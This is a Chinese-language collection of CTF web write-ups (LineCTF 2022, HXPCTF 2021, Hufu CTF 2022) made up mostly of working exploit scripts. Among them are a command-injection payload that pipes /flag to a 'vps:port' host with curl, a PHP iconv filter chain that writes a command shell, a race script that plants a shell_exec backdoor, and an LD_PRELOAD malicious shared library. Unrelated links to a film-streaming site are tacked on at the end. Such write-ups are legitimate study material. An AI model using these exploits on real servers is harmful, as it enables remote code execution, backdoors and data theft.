[LineCTF 2022]gotm
go ssti + jwt 伪造,首先在根目录发现直接解析,传入 {{.}}
能打印环境变量并泄露对应的 key,注册特定用户生成 token 再传入,拿到 key 之后直接加密即可。

[LineCTF 2022]BB
linux 中可以用 $'\'
以 8 进制形式执行指令,
cat flag == $'\143\141\164' flag
centos,可以用 p 神那篇 https://tttang.com/archive/1450/ 利用环境变量注入执行任意命令,用 8 进制绕过第一个过滤即可。
import string
import requests
cmd = 'cat /flag | curl -d @- http://vps:port'
o = ''
for c in cmd:
if c in string.ascii_letters:
o += f"$'\\{oct(ord(c))[2:]}'"
else:
o += c
r = requests.get(f'http://213f6e8f-d034-4a8a-92af-97f37cdbfc70.node4.buuoj.cn:81/?env[BASH_ENV]=`{o}`')
print(r.text)

[HXPCTF 2021]includer's revenge
著名的 nginx+LFI getshell,大致流程:
1.Nginx 在后端 fastcgi 响应过大或请求正文 body 过大时会产生临时文件
2.绕过 PHP 对软链接的解析
首先是第一个问题:产生的临时文件会立刻被删除,但在 linux 下,如果打开一个文件,该文件会出现在 /proc/pid/fd 下,而如果一个文件没被关闭就直接删除,依然可以读到文件的内容。
但读的话是以软连接的形式读的,而 php 会先解析软连接,再打开。这时就有了新的问题,这个被删除的软链接会在后面带有 (deleted),也就是:
/proc/pid/fd/x (deleted)
这样的话 php 就会解析失败,这里通过 https://www.anquanke.com/post/id/213235#h3-5 require_once 绕过不能包含重复文件的思路,加一层目录嵌套起来,能防止 php 对软链接进行解析。
/proc/self/fd/34/../../../34/fd/9
还有一个问题就是确定 pid,需要在一个范围内进行爆破。首先在 /proc/cmdline 中找到 nginx 的 worker process(nginx master 进程不处理请求),这里 worker process 的数量不会超过 cpu 核心数量(可以通过 /proc/cpuinfo)查看,然后就是查看 /proc/sys/kernel/pid_max 找到最大的 pid,就能确定扫描范围。
最后的 payload:
import requests
url = "http://localhost/index.php"
file_to_use = "/etc/passwd"
command = "/readflag"
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
})
print(r.text)
[HXPCTF 2021]shitty blog
先看一下能交互的地方,$_POST['content'] 被 htmlspecialchars 防死了,_POST['delete'] 没什么用,$_COOKIE['session'] 输入后,经过拆分,判断处理之后,其中的一部分在 insert_entry 中经过预编译后插入,但在 get_user 和 delete_entry 的时候从数据块中取出,直接拼接,存在二次注入。
再看这一条链子中的判断,主要是这句:
if( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) {
exit();
}
其中 crypt 会被 \x00 截断,也就是说只要 hash_hmac 是以 \x00 开头,那么 crypt 就是加密了一个空(NULL),使加密结果固定。
if(! isset($_COOKIE['session'])){
$id = random_int(1, PHP_INT_MAX);
$mac = substr(crypt(hash_hmac('md5', $id, $secret, true), $salt), 20);
}
依照自动生成 session 的规则,只要能生成两个 mac 相同但 id 不同的 session ,就能说明 hash_hmac('md5', $id, $secret, true)
结果为空。在此结果之上构造 id,就可以实现注入。
php 使用 PDO 链接 sqlite,默认支持堆叠注入,最后只需要在 data 目录下面写一个 webshell 就 ok 了。
[HXPCTF 2021]unzipper
传一个压缩包上去,然后会给你解压,但这里不知道 sandbox 的指,没法直接传?,并且这里 nginx 的配置是:
location = /index.php {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}
指解析 index.php,其它的 php 并不解析。
如果是普通的 zip 解压然后读可以用软连接读文件,但这里的不同之处在于对传入的文件名进行了 realpath,会去除软连接和相关目录操作,直接返回完整路径。
但是 realpath 不能识别各种协议(PHP 伪协议),所有可以创建一个目录,目录名是 php 伪协议开头,这样就可以绕过判断。
poc:
#!/bin/bash
rm -rf exploit.dir
mkdir -p exploit.dir
pushd exploit.dir
TARGET='http://65.108.176.76:8200'
EPATH='php://filter/convert.base64-encode/resource=exploit'
mkdir -p $EPATH
ln -s /flag.txt exploit
zip -y -r exploit.zip *
curl -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' $TARGET -F "file=@exploit.zip"
curl -s -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' "$TARGET/?file=$EPATH" | base64 -d
echo
popd
[HXPCTF 2021]counter
也挺离谱的。。。通过 system 时新创建进程,如果把文件名设置为一串 base64,那么 system 起的这个进程的 /proc/pid/cmdline 就是这一串我们可控的 base64,在 include 中通过 php 伪协议解析。
问题还是 pid 的爆破范围,这里通过 /proc/sys/kernel/ns_last_pid 来确定,这个文件显示这个 pid 命名空间中分配的最后一个 pid。
poc:
#!/usr/bin/env python3
import requests, threading, time,os, base64, re, tempfile, subprocess,secrets, hashlib, sys, random, signal
from urllib.parse import urlparse,quote_from_bytes
def urlencode(data, safe=''):
return quote_from_bytes(data, safe)
url = f'http://{sys.argv[1]}:{sys.argv[2]}/'
backdoor_name = secrets.token_hex(8) + '.php'
secret = secrets.token_hex(16)
secret_hash = hashlib.sha1(secret.encode()).hexdigest()
print('[+] backdoor_name: ' + backdoor_name, file=sys.stderr)
print('[+] secret: ' + secret, file=sys.stderr)
code = f"<?php if(sha1($_GET['s'])==='{secret_hash}')echo shell_exec($_GET['c']);".encode()
payload = f"""<?php if(sha1($_GET['s'])==='{secret_hash}')file_put_contents("{backdoor_name}",$_GET['p']);/*""".encode()
payload_encoded = b'abcdfg' + base64.b64encode(payload)
print(payload_encoded)
assert re.match(b'^[a-zA-Z0-9]+$', payload_encoded)
# check if the payload would work on our local php setup
with tempfile.NamedTemporaryFile() as tmp:
tmp.write(b"sh\x00-c\x00rm\x00-f\x00--\x00'"+ payload_encoded +b"'")
tmp.flush()
o = subprocess.check_output(['php','-r', f'echo file_get_contents("php://filter/convert.base64-decode/resource={tmp.name}");'])
print(o, file=sys.stderr)
assert payload in o
os.chdir('/tmp')
subprocess.check_output(['php','-r', f'$_GET = ["p" => "test", "s" => "{secret}"]; include("php://filter/convert.base64-decode/resource={tmp.name}");'])
with open(backdoor_name) as f:
d = f.read()
assert d == 'test'
pid = -1
N = 10
done = False
def worker(i):
time.sleep(1)
while not done:
print(f'[+] starting include worker: {pid + i}', file=sys.stderr)
s = f"""bombardier -c 1 -d 3m '{url}?page=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3D%2Fproc%2F{pid + i}%2Fcmdline&p={urlencode(code)}&s={secret}' > /dev/null"""
os.system(s)
def delete_worker():
time.sleep(1)
while not done:
print('[+] starting delete worker', file=sys.stderr)
s = f"""bombardier -c 8 -d 3m '{url}?page={payload_encoded.decode()}&reset=1' > /dev/null"""
os.system(s)
for i in range(N):
threading.Thread(target=worker, args=(i, ), daemon=True).start()
threading.Thread(target=delete_worker, daemon=True).start()
while not done:
try:
r = requests.get(url, params={
'page': '/proc/sys/kernel/ns_last_pid'
}, timeout=10)
print(f'[+] pid: {pid}', file=sys.stderr)
if int(r.text) > (pid+N):
pid = int(r.text) + 200
print(f'[+] pid overflow: {pid}', file=sys.stderr)
os.system('pkill -9 -x bombardier')
r = requests.get(f'{url}data/{backdoor_name}', params={
's' : secret,
'c': f'id; ls -l /; /readflag; rm {backdoor_name}'
}, timeout=10)
if r.status_code == 200:
print(r.text)
done = True
os.system('pkill -9 -x bombardier')
exit()
time.sleep(0.5)
except Exception as e:
print(e, file=sys.stderr)
[虎符CTF 2022]ezphp
p 神的环境变量注入 getshell 只限于 centos 系统,debian 无法利用,具体原理翻原文。
这里利用 hxp2021 中 nginx 上传文件的特性,传一个恶意的 so 文件,然后再用 LD_PRELOAD 加载
恶意的 so 文件:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("id");
system("cat /flag > /var/www/html/flag");
}
然后用脚本直接在 so 后面添加垃圾数据(因为 elf 文件的规范性这里不会影响解析)
然后爆破:
import threading, requests
URL = 'http://1.14.71.254:28878/'
done = False
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data=open("D:/tmp/evil_dirty.so", "br").read())
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
def bruter():
for pid in range(4194304):
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/{pid}/fd/{fd}'
r = requests.get(URL, params={
'env': f"LD_PRELOAD={f}",
})
if 'uid' in r.text:
print(r.text)
print("[+] finished")
exit()
a = threading.Thread(target=bruter)
a.start()

参考文献
《美国谋杀故事:隔壁那家人》记录片高清在线免费观看:https://www.jgz518.com/xingkong/9077.html
《村小的孩子》记录片高清在线免费观看:https://www.jgz518.com/xingkong/108049.html